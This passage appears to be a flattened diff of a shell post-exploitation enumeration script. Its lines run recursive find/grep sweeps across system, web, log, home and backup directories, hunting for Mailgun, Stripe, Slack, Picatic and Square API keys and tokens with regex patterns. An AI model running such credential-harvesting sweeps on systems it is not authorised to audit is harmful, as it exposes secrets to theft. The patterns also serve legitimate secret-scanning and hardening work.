"[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Mailgun API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~key-[0-9a-zA-Z]{32}~${SED_RED}~" & +print_3title_no_nl "Searching Mailgun API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Picatic API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sk_live_[0-9a-z]{32}~${SED_RED}~" & +print_3title_no_nl "Searching Picatic API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Slack Token (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~xox[baprs]-([0-9a-zA-Z]{10,48})?~${SED_RED}~" & +print_3title_no_nl "Searching Slack Token (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Stripe API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~k_live_[0-9a-zA-Z]{24}~${SED_RED}~" & +print_3title_no_nl "Searching Stripe API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Square Access Token (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sqOatp-[0-9A-Za-z_\-]{22}~${SED_RED}~" & +print_3title_no_nl "Searching Square Access Token (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Square Oauth Secret (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "sq0csp-[ 